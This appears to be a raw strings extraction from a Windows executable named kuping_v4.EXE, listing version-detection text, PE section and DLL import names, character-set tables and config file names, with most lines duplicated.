
%s (Build %d)

%s (Build %d)

Service Pack 6a (Build %d)

Service Pack 6a (Build %d)

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009

%d.%d

%d.%d

Web Edition

Web Edition

Microsoft Windows NT

Microsoft Windows NT

Microsoft Windows 2000

Microsoft Windows 2000

Microsoft Windows XP

Microsoft Windows XP

Microsoft Windows Server 2003,

Microsoft Windows Server 2003,

Microsoft Windows XP Professional x64 Edition

Microsoft Windows XP Professional x64 Edition

Windows Server "Longhorn"

Windows Server "Longhorn"

1, 0, 0, 1

1, 0, 0, 1

kuping_v4.EXE

kuping_v4.EXE

kp4_Mini.exe_660:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

MFC42.DLL

MFC42.DLL

MSVCRT.dll

MSVCRT.dll

_acmdln

_acmdln

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

MSVCP60.dll

MSVCP60.dll

0900936iso-ir-581028598iso_8859-81201255iso_8859-8-i1200932cswindows31j

0900936iso-ir-581028598iso_8859-81201255iso_8859-8-i1200932cswindows31j

0628597greek81201258windows-1258

0628597greek81201258windows-1258

1201257windows-12570738598logical

1201257windows-12570738598logical

1201256windows-12560651932euc-jp

1201256windows-12560651932euc-jp

1201255windows-1255

1201255windows-1255

2701143x-ebcdic-finlandsweden-euro1201254windows-1254

2701143x-ebcdic-finlandsweden-euro1201254windows-1254

0801251x-cp12511201253windows-12531400949ks_c_5601_19871528599iso_8859-9:1989

0801251x-cp12511201253windows-12531400949ks_c_5601_19871528599iso_8859-9:1989

0801250x-cp12501201252windows-1252

0801250x-cp12501201252windows-1252

1201251windows-12511528598iso_8859-8:1988

1201251windows-12511528598iso_8859-8:1988

1201250windows-12502301149x-ebcdic-icelandic-euro

1201250windows-12502301149x-ebcdic-icelandic-euro

1150220iso-2022-jp1100874windows-874

1150220iso-2022-jp1100874windows-874

1901145x-ebcdic-spain-euro1620127iso_646.irv:1991

1901145x-ebcdic-spain-euro1620127iso_646.irv:1991

0551932x-euc1250221_iso-2022-jp1000932csshiftjis

0551932x-euc1250221_iso-2022-jp1000932csshiftjis

%s\%s

%s\%s

minikey

minikey

softset.ini

softset.ini

GetExeFlag

GetExeFlag

UniversalFunction.dll

UniversalFunction.dll

1.0.0.1

1.0.0.1

version.ini

version.ini

2013,1,1,1,1,1

2013,1,1,1,1,1

dddddd

dddddd

1987,1,1,1,1,1

1987,1,1,1,1,1

softProc

softProc

KP_5.exe

KP_5.exe

1, 0, 0, 1

1, 0, 0, 1

UniversalMini.EXE

UniversalMini.EXE